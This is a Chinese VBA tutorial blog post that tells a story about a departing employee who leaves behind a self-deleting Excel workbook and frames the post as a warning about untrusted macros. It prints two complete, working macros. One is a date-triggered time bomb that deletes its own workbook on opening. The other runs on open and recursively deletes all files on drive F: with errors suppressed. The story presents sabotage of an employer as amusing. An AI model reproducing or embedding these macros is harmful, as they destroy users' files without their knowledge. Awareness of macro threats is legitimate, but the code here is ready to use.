如何制作自动自杀和杀其它文件的Excel工作簿?
EH看见星光 VBA编程学习与实践 1周前
HI,大家好,我是星光。
话说,在很久很久以前,在山的那边海的那边……有位Excel高手……他在一家电子商务公司上班。
他有一份Excel工作簿,通过VBA或函数将日常工作全部结构化、智能化、自动化了。他每天闲的除了喝王者农药就是剁手逛淘宝,他主管看他不顺眼,三番两次刁难他。于是他耸耸肩宣布辞职……
临走前,他将那份神奇的Excel工作簿留给了主管。主管觉得那份Excel工作簿真好用,公司没有必要再招新员工了;主管又觉得那孩子真傻,这么好的东西居然白白留给公司,真是个二货啊……
过了几天,主管打开那份Excel工作簿,打算像往常那样点击鼠标,一键处理问题,Excel突然弹出一条信息:
然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。
……
代码如看不全可以左右拖动..▼
Private Sub Workbook_Open() Dim dat As Date dat = DateSerial(2019, 10, 1) If Date >= dat Then Application.DisplayAlerts = False MsgBox "你好,二货!你相信Excel会成精吗?" & vbCr & "大爷我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。" With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With End IfEnd Sub
聊完了“自杀”,咱们再聊“杀人”……
没错~Excel狠起来,不但可以自杀,还能顺手把你电脑里的文件全部删了,回收站找不到尸体的那种……
我们知道宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户账号密码……等等。
以为这很高级?很复杂?和你很遥远?非黑客不能为?
错!
其实这些事儿很简单。
举个小例子。
还记得吗,之前我们分享了批量删除Excel工作簿的小代码。
如果借助Excel工作簿打开事件,结合那期的代码,当你启用宏,
打开含该代码的工作簿,然后……你就会发现电脑中大量的文件都被删除了。
代码如看不全可以左右拖动..▼
Private Sub Workbook_Open()
Dim p As String
p = "F:\" '指定批量删除文件的所在硬盘
Call Killy(p) '调用FSO遍历子文件夹的递归过程
End Sub
Function Killy(p)
On Error Resume Next
Application.DisplayAlerts = False
Set fld = CreateObject("Scripting.FileSystemObject").GetFolder(p)
Kill fld.Path & "\*.*"
For Each fd In fld.SubFolders
Call Killy(fd.Path)
Next
End Function
重要的事情说三遍……
星光给大家聊Excel“自杀和杀人”不是为了让大家做坏事……
诸君更不要手贱去尝试那段杀人的代码……然后把自己电脑里的文件给杀个透心凉冰冰爽……
聊这些只是告诉大家,不要轻易启用来历不明的宏文件……
……
赞 (0)